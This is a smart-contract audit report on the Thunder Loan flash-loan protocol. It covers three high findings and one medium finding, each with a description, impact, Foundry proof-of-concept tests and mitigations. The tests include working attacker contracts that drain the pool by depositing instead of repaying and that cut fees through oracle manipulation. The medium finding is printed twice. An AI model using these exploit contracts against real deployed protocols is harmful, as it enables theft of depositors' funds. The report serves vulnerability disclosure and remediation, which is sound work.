Protocol Audit Report

Version 1.0

Cyfrin.io

February 7, 2024

Thunder Loan audit

0xShitgem

February 7, 2024

Lead Auditors:

- 0xShitgem

Table of Contents

Protocol Summary

The thunderloan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The 0xShitgem makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-01] Erroneous `ThunderLoan::updateExchangeRate` inside `deposit` causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description: Inside `ThunderLoan::deposit` function exist these lines of code.

```
1 uint256 calculatedFee = getCalculatedFee(token, amount);
2 assetToken.updateExchangeRate(calculatedFee);
```

As name suggest they're updating exchange rate between assetToken and underlying tokens. However, when Liquidity Provider wants to redeem from pool their tokens, he gets `ERC20InsufficientBalance` error, because of unnecessary updates inside `deposit` function.

Impact:

1. `redeem` function is blocked
2. Rewards are incorrectly calculated, leading to liquidity providers getting way more or less then deserved

Proof of Concept:

1. Liquidity Provider `deposit` funds
2. User flashloans
3. LP can't `redeem`

Proof Of Code

Paste following code inside `ThunderLoanTest.t.sol`.

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);

    vm.startPrank(user);
    tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    assertEq(mockFlashLoanReceiver.getBalanceDuring(), amountToBorrow +
         AMOUNT);
    assertEq(mockFlashLoanReceiver.getBalanceAfter(), AMOUNT -
        calculatedFee);

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Consider removing those lines of code, because they're completely unnecesary inside deposit.

```
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
```

[H-02] User can deposit funds instead of using `ThunderLoan::repay` resulting in stealing all funds from smart contract

Description: The `ThunderLoan::flashloan` perform balance check to ensure that ending balance exeeds starting balance, accounting for fees. The vulnerability emerges in this particular code:

```
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
    revert ThunderLoan__NotPaidBack(startingBalance + fee,
       endingBalance);
}
```

The vulnerability is taking place when user use `deposit` function instead of `repay`.

Impact: User depositing instead using `repay` function can drain entire smart contract funds.

Proof of Concept:

1. Malicious user takes flashloan
2. Malicious user instead of repaying, use `deposit` function

Proof Of Code

Paste following code inside `ThunderLoan.t.sol`

```
function testUseDepositInsteadOfRepay() public setAllowedToken
   hasDeposits {
    vm.startPrank(user);
    uint256 amountToBorrow = 50e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();
    assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}
```

And this contract

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

```

```
10      function executeOperation(
11          address token,
12          uint256 amount,
13          uint256 fee,
14          address /*initiator*/,
15          bytes calldata /*params*/
16      ) external returns (bool) {
17          s_token = IERC20(token);
18          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
19          IERC20(token).approve(address(thunderLoan), amount + fee);
20          thunderLoan.deposit(IERC20(token), amount + fee);
21          return true;
22      }
23
24      function redeemMoney() public {
25          uint256 amount = assetToken.balanceOf(address(this));
26          thunderLoan.redeem(s_token, amount);
27      }
28  }
```

Recommended Mitigation: Consider adding check inside `deposit` function to ensure that this function would be unavailable to execute while in the same block of the flashloan. It could be registring block.number in a variable in `flashloan` and checking it in `deposit`

[H-03] Mixing up variable location casues storage collisions in `s_flashLoanFee::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` have two variables in following order:

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1       uint256 private s_flashLoanFee;
2       uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of sotrage variables, and removing storage variables for constant variables, breaks the storage locations as well..

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charded the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

Proof of Concept:

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.prank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    console2.log("Fee Before: ", feeBeforeUpgrade);
    console2.log("Fee After: ", feeAfterUpgrade);

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee;
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee;
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-01] Using TSwapPool as price oracle leads to price manipulation which can result in paying lower fees

Description: Inside `OracleUpgreadable::getPriceInWeth` we take price of given token from TSwapPool. `getPriceInWeth` function is used inside `ThunderLoan::getCalculatedFee` and this caluclated fee is used inside `ThunderLoan::flashloan`. Because we're checking the price of token in weth only from one place, it can lead to manipulated prices.

Impact: Attacker can make two flashloans, in which he'll lower himself fees to be paid.

Proof of Concept:

1. Attacker use flashloan to lower price of WETH.
2. Attacker execute second flashloan and do something
3. Attacker repay two flashloans with much lower fees.

Proof Of Code

Add following to `ThunderLoanTest.t.sol`

```
function testOracleManipulation() public {
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));


    // Create Tswap dex WETH/TOKEN A

    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(address(pf)));

    // 2. Fund Tswap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(tswapPool).deposit(
        100e18,
        100e18,
        100e18,
        uint64(block.timestamp)
    );
    vm.stopPrank();
    // ratio 100weth and 100 tokenA
    // price 1:1

    // 3. Fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);

    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 1000e18);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);
    vm.stopPrank();

    // 100 TokenA & 100 WETH in TSwap
    // 1000 TokenA in ThunderLoan

    // 4. We are going to take out 2 flash loans
    // a. Nuke price of pool
    // b. to show that doing so greatly reduces the fees we pay on
       TunderLoan

```

```
47      uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
            );
48      console2.log("normal fee is:", normalFeeCost);
49
50      uint256 amountToBorrow = 50e18;
51      MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
52      address(tswapPool),
53      address(thunderLoan),
54      address(thunderLoan.getAssetFromToken(tokenA))
55      );
56
57      vm.startPrank(user);
58      tokenA.mint(address(flr), 51e18);
59      thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
60
61      vm.stopPrank();
62
63      uint256 attackFee = flr.feeOne() + flr.feeTwo();
64      console2.log("attack fee is", attackFee);
65      assert(attackFee < normalFeeCost);
66  }
```

And add this contract to `ThunderLoan.t.sol`

```
1   contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2       ThunderLoan thunderLoan;
3       address repayAddress;
4       BuffMockTSwap tswapPool;
5       bool attacked = false;
6       uint256 public feeOne;
7       uint256 public feeTwo;
8
9       // 1. swap tokenA borrowed for weth
10      // 2. take anohter flash loan to show difference
11      constructor(
12      address _tswapPool,
13      address _thunderLoan,
14      address _repayAddress
15      ) {
16      tswapPool = BuffMockTSwap(_tswapPool);
17      thunderLoan = ThunderLoan(_thunderLoan);
18      repayAddress = _repayAddress;
19      }
20
21
22
23      function executeOperation(
24      address token,
25      uint256 amount,
26      uint256 fee,
27      address /*initiator*/,
```

```
28      bytes calldata /*params*/
29      ) external returns (bool) {
30
31          if (!attacked) {
32              // 1. Swap TokenA borrowed for WETH
33              // 2. Take out another flash loan, to show the difference
34              feeOne = fee;
35              attacked = true;
36              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
37              50e18,
38              100e18,
39              100e18
40              );
41
42              IERC20(token).approve(address(tswapPool), 50e18);
43              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
44              50e18,
45              wethBought,
46              uint64(block.timestamp)
47              );
48
49              // second flash loan
50              thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
51              // repay
52              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
53              // thunderLoan.repay(IERC20(token), amount + fee);
54              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
55          } else {
56              // calculate the fee and repay
57              feeTwo = fee;
58
59
60
61              //repay
62              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
63              // thunderLoan.repay(IERC20(token), amount + fee);
64              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
65          }
66
67          return true;
68      }
69  }
```

Recommended Mitigation: Consider using Chainlink Oracles as a way of getting prices. Alternatively you can think of using Uniswap TWAP fallback oracle.### [M-01] Using `TSwapPool` as price oracle

leads to price manipulation which can result in paying lower fees

Description: Inside `OracleUpgreadable::getPriceInWeth` we take price of given token from TSwapPool. `getPriceInWeth` function is used inside `ThunderLoan::getCalculatedFee` and this caluclated fee is used inside `ThunderLoan::flashloan`. Because we're checking the price of token in weth only from one place, it can lead to manipulated prices.

Impact: Attacker can make two flashloans, in which he'll lower himself fees to be paid.

Proof of Concept:

1. Attacker use flashloan to lower price of WETH.
2. Attacker execute second flashloan and do something
3. Attacker repay two flashloans with much lower fees.

Proof Of Code

Add following to `ThunderLoanTest.t.sol`

```
function testOracleManipulation() public {
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));


    // Create Tswap dex WETH/TOKEN A

    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(address(pf)));

    // 2. Fund Tswap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(tswapPool).deposit(
        100e18,
        100e18,
        100e18,
        uint64(block.timestamp)
    );
    vm.stopPrank();
    // ratio 100weth and 100 tokenA
    // price 1:1

    // 3. Fund ThunderLoan
    vm.prank(thunderLoan.owner());
```

```
32      thunderLoan.setAllowedToken(tokenA, true);
33
34      vm.startPrank(liquidityProvider);
35      tokenA.mint(liquidityProvider, 1000e18);
36      tokenA.approve(address(thunderLoan), 1000e18);
37      thunderLoan.deposit(tokenA, 1000e18);
38      vm.stopPrank();
39
40      // 100 TokenA & 100 WETH in TSwap
41      // 1000 TokenA in ThunderLoan
42
43      // 4. We are going to take out 2 flash loans
44      // a. Nuke price of pool
45      // b. to show that doing so greatly reduces the fees we pay on
            TunderLoan
46
47      uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
            );
48      console2.log("normal fee is:", normalFeeCost);
49
50      uint256 amountToBorrow = 50e18;
51      MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
52      address(tswapPool),
53      address(thunderLoan),
54      address(thunderLoan.getAssetFromToken(tokenA))
55      );
56
57      vm.startPrank(user);
58      tokenA.mint(address(flr), 51e18);
59      thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
60
61      vm.stopPrank();
62
63      uint256 attackFee = flr.feeOne() + flr.feeTwo();
64      console2.log("attack fee is", attackFee);
65      assert(attackFee < normalFeeCost);
66  }
```

And add this contract to `ThunderLoan.t.sol`

```
1  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      address repayAddress;
4      BuffMockTSwap tswapPool;
5      bool attacked = false;
6      uint256 public feeOne;
7      uint256 public feeTwo;
8
9      // 1. swap tokenA borrowed for weth
10     // 2. take anohter flash loan to show difference
11     constructor(
```

```
12      address _tswapPool,
13      address _thunderLoan,
14      address _repayAddress
15      ) {
16      tswapPool = BuffMockTSwap(_tswapPool);
17      thunderLoan = ThunderLoan(_thunderLoan);
18      repayAddress = _repayAddress;
19      }
20
21
22
23      function executeOperation(
24      address token,
25      uint256 amount,
26      uint256 fee,
27      address /*initiator*/,
28      bytes calldata /*params*/
29      ) external returns (bool) {
30
31          if (!attacked) {
32              // 1. Swap TokenA borrowed for WETH
33              // 2. Take out another flash loan, to show the difference
34              feeOne = fee;
35              attacked = true;
36              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
37              50e18,
38              100e18,
39              100e18
40              );
41
42              IERC20(token).approve(address(tswapPool), 50e18);
43              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
44              50e18,
45              wethBought,
46              uint64(block.timestamp)
47              );
48
49              // second flash loan
50              thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
51              // repay
52              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
53              // thunderLoan.repay(IERC20(token), amount + fee);
54              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
55          } else {
56              // calculate the fee and repay
57              feeTwo = fee;
58
59
```

```
60
61              //repay
62              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
63              // thunderLoan.repay(IERC20(token), amount + fee);
64              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
65          }
66
67          return true;
68      }
69  }
```

Recommended Mitigation: Consider using Chainlink Oracles as a way of getting prices. Alternatively you can think of using Uniswap TWAP fallback oracle.